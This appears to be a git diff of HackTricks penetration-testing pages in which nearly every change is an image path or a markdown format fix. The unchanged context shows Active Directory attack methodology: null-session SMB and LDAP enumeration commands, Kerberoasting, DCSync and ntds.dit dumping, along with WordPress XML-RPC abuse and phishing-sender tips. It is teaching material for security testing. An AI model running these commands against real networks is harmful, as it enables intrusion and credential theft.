||||||
|
|
||||||
|
@ -196,7 +191,7 @@ To disable LLMNR in your domain for DNS clients, open gpedit.msc.\
|
||||||
Navigate to Computer Configuration->Administrative Templates->Network->DNS client.\
|
Navigate to Computer Configuration->Administrative Templates->Network->DNS client.\
|
||||||
Locate the option “Turn off multicast name resolution” and click “policy setting”:
|
Locate the option “Turn off multicast name resolution” and click “policy setting”:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/1 (1).jpg>)
|
![](../../.gitbook/assets/1.jpg)
|
||||||
|
|
||||||
Once the new window opens, enable this option, press Apply and click OK:
|
Once the new window opens, enable this option, press Apply and click OK:
|
||||||
|
|
||||||
|
@ -238,7 +233,7 @@ To mitigate against the WPAD attack, you can add an entry for "wpad" in your DNS
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
**Images from:**
|
**Images from:**\
|
||||||
[https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)\
|
[https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)\
|
||||||
[https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)\
|
[https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)\
|
||||||
[https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)\
|
[https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)\
|
||||||
|
|
|
@ -320,7 +320,7 @@ C:\xampp\tomcat\conf\server.xml
|
||||||
|
|
||||||
If you see an error like the following one:
|
If you see an error like the following one:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (2).png>)
|
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (2) (1).png>)
|
||||||
|
|
||||||
It means that the server **didn't receive the correct domain name** inside the Host header.\
|
It means that the server **didn't receive the correct domain name** inside the Host header.\
|
||||||
In order to access the web page you could take a look to the served **SSL Certificate** and maybe you can find the domain/subdomain name in there. If it isn't there you may need to **brute force VHosts** until you find the correct one.
|
In order to access the web page you could take a look to the served **SSL Certificate** and maybe you can find the domain/subdomain name in there. If it isn't there you may need to **brute force VHosts** until you find the correct one.
|
||||||
|
|
|
@ -187,7 +187,7 @@ It is recommended to disable Wp-Cron and create a real cronjob inside the host t
|
||||||
</methodCall>
|
</methodCall>
|
||||||
```
|
```
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (2) (1).png>)
|
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (2) (1) (1).png>)
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (102).png>)
|
![](<../../.gitbook/assets/image (102).png>)
|
||||||
|
|
||||||
|
|
|
@ -333,7 +333,7 @@ The page www.mail-tester.com can indicate you if you your domain is being blocke
|
||||||
* Decide from which account are you going to send the phishing emails. Suggestions: _noreply, support, servicedesk, salesforce..._
|
* Decide from which account are you going to send the phishing emails. Suggestions: _noreply, support, servicedesk, salesforce..._
|
||||||
* You can leave blank the username and password, but make sure to check the Ignore Certificate Errors
|
* You can leave blank the username and password, but make sure to check the Ignore Certificate Errors
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (2) (4).png>)
|
![](<../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (2) (1) (4).png>)
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
It's recommended to use the "**Send Test Email**" functionality to test that everything is working.\
|
It's recommended to use the "**Send Test Email**" functionality to test that everything is working.\
|
||||||
|
|
|
@ -86,7 +86,7 @@ You can **select the whole signal** where information is located, select **Ampli
|
||||||
|
|
||||||
For example, if you select Frequency instead of Amplitude in this AM signal you find just 1 frequency (no way information modulated in frequency is just using 1 freq).
|
For example, if you select Frequency instead of Amplitude in this AM signal you find just 1 frequency (no way information modulated in frequency is just using 1 freq).
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (637).png>)
|
![](<../../.gitbook/assets/image (637) (1).png>)
|
||||||
|
|
||||||
If you find a lot of frequencies potentially this won't be a FM, probably the signal frequency was just modified because of the channel.
|
If you find a lot of frequencies potentially this won't be a FM, probably the signal frequency was just modified because of the channel.
|
||||||
|
|
||||||
|
|
|
@ -47,8 +47,8 @@ You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to
|
||||||
|
|
||||||
If you just have access to an AD environment but you don't have any credentials/sessions you could:
|
If you just have access to an AD environment but you don't have any credentials/sessions you could:
|
||||||
|
|
||||||
* **Pentest the network:**
|
* **Pentest the network:**
|
||||||
* Scan the network, find machines and open ports and try to **exploit vulnerabilities** or **extract credentials** from them (for example, [printers could be very interesting targets](ad-information-in-printers.md).
|
* Scan the network, find machines and open ports and try to **exploit vulnerabilities** or **extract credentials** from them (for example, [printers could be very interesting targets](ad-information-in-printers.md).
|
||||||
* Enumerating DNS could give information about key servers in the domain as web, printers, shares, vpn, media, etc.
|
* Enumerating DNS could give information about key servers in the domain as web, printers, shares, vpn, media, etc.
|
||||||
* `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
* `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||||
* Take a look to the General [**Pentesting Methodology**](../../pentesting-methodology.md) to find more information about how to do this.
|
* Take a look to the General [**Pentesting Methodology**](../../pentesting-methodology.md) to find more information about how to do this.
|
||||||
|
@ -56,7 +56,7 @@ If you just have access to an AD environment but you don't have any credentials/
|
||||||
* `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
* `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||||
* `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
* `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||||
* `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
* `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||||
* [**A more detailed guide on how to enumerate a SMB server can be found here.**](broken-reference)
|
* [**A more detailed guide on how to enumerate a SMB server can be found here.**](broken-reference/)
|
||||||
* **Enumerate Ldap**
|
* **Enumerate Ldap**
|
||||||
* `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
* `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||||
* [**A more detailed guide on how to enumerate LDAP can be found here.**](../../pentesting/pentesting-ldap.md)
|
* [**A more detailed guide on how to enumerate LDAP can be found here.**](../../pentesting/pentesting-ldap.md)
|
||||||
|
@ -106,7 +106,7 @@ Regarding [**ASREPRoast**](asreproast.md)you can now find every possible vulnera
|
||||||
|
|
||||||
* You could use some[Windows binaries from the CMD to perform a basic recon](../basic-cmd-for-pentesters.md#domain-info), but using [powershell for recon](../basic-powershell-for-pentesters/) will probably be stealthier, and you could even [**use powerview**](../basic-powershell-for-pentesters/powerview.md) to extract more detailed information.
|
* You could use some[Windows binaries from the CMD to perform a basic recon](../basic-cmd-for-pentesters.md#domain-info), but using [powershell for recon](../basic-powershell-for-pentesters/) will probably be stealthier, and you could even [**use powerview**](../basic-powershell-for-pentesters/powerview.md) to extract more detailed information.
|
||||||
* Another amazing tool for recon in an active directory is [**BloodHound**](bloodhound.md). It is **not very stealthy** (depending on the collection methods you use), but **if you don't care** about that, you should totally give it a try. Find where users can RDP, find path to other groups, etc.
|
* Another amazing tool for recon in an active directory is [**BloodHound**](bloodhound.md). It is **not very stealthy** (depending on the collection methods you use), but **if you don't care** about that, you should totally give it a try. Find where users can RDP, find path to other groups, etc.
|
||||||
* Look in the LDAP database, with **ldapsearch** or **AdExplorer.exe** to look for credentials in fields *userPassword* & *unixUserPassword*, or even for *Description*.
|
* Look in the LDAP database, with **ldapsearch** or **AdExplorer.exe** to look for credentials in fields _userPassword_ & _unixUserPassword_, or even for _Description_.
|
||||||
* If you are using **Linux**, you could also enumerate the domain using [the-useless-one/pywerview](https://github.com/the-useless-one/pywerview).
|
* If you are using **Linux**, you could also enumerate the domain using [the-useless-one/pywerview](https://github.com/the-useless-one/pywerview).
|
||||||
* You could also try automated tools as:
|
* You could also try automated tools as:
|
||||||
* [tomcarver16/ADSearch](https://github.com/tomcarver16/ADSearch)
|
* [tomcarver16/ADSearch](https://github.com/tomcarver16/ADSearch)
|
||||||
|
@ -118,7 +118,7 @@ Regarding [**ASREPRoast**](asreproast.md)you can now find every possible vulnera
|
||||||
|
|
||||||
The goal of Kerberoasting is to harvest **TGS tickets for services that run on behalf of domain user accounts**. Part of these TGS tickets are **encrypted wit keys derived from user passwords**. As a consequence, their credentials could be **cracked offline**.
|
The goal of Kerberoasting is to harvest **TGS tickets for services that run on behalf of domain user accounts**. Part of these TGS tickets are **encrypted wit keys derived from user passwords**. As a consequence, their credentials could be **cracked offline**.
|
||||||
|
|
||||||
**Find more information about this attack [**in the Kerberoast page**](kerberoast.md).**
|
**Find more information about this attack** [**in the Kerberoast page**](kerberoast.md)**.**
|
||||||
|
|
||||||
### Remote connexion (RDP, SSH, FTP, Win-RM, etc)
|
### Remote connexion (RDP, SSH, FTP, Win-RM, etc)
|
||||||
|
|
||||||
|
@ -186,12 +186,11 @@ The compromised user could have some **interesting privileges over some domain o
|
||||||
If you can find any **Spool service listening** inside the domain, you may be able to **abuse** is to **obtain new credentials** and **escalate privileges**.\
|
If you can find any **Spool service listening** inside the domain, you may be able to **abuse** is to **obtain new credentials** and **escalate privileges**.\
|
||||||
[**More information about how to find a abuse Spooler services here.**](printers-spooler-service-abuse.md)
|
[**More information about how to find a abuse Spooler services here.**](printers-spooler-service-abuse.md)
|
||||||
|
|
||||||
|
|
||||||
## Post-exploitation with high privilege account
|
## Post-exploitation with high privilege account
|
||||||
|
|
||||||
### Dumping Domain Credentials
|
### Dumping Domain Credentials
|
||||||
|
|
||||||
Once you get **Domain Admin** or even better **Enterprise Admin** privileges, you can **dump** the **domain database**: *ntds.dit*.
|
Once you get **Domain Admin** or even better **Enterprise Admin** privileges, you can **dump** the **domain database**: _ntds.dit_.
|
||||||
|
|
||||||
[**More information about DCSync attack can be found here**](dcsync.md).
|
[**More information about DCSync attack can be found here**](dcsync.md).
|
||||||
|
|
||||||
|
@ -413,6 +412,6 @@ If you don't execute this from a Domain Controller, ATA is going to catch you, s
|
||||||
* [Python script to enumerate active directory](https://github.com/ropnop/windapsearch)
|
* [Python script to enumerate active directory](https://github.com/ropnop/windapsearch)
|
||||||
* [Python script to enumerate active directory](https://github.com/CroweCybersecurity/ad-ldap-enum)
|
* [Python script to enumerate active directory](https://github.com/CroweCybersecurity/ad-ldap-enum)
|
||||||
|
|
||||||
![](<../../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1) (1) (2).png>)
|
![](<../../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1) (1) (2) (14).png>)
|
||||||
|
|
||||||
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)
|
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)
|
||||||
|
|
|
@ -124,6 +124,6 @@ If you want to **know** about my **latest modifications**/**additions** or you h
|
||||||
\*\*\*\*If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book.\
|
\*\*\*\*If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book.\
|
||||||
Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
|
Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
|
||||||
|
|
||||||
![](<../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1) (4).png>)
|
![](<../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1) (1) (2) (4).png>)
|
||||||
|
|
||||||
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*
|
[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*
|
||||||
|
|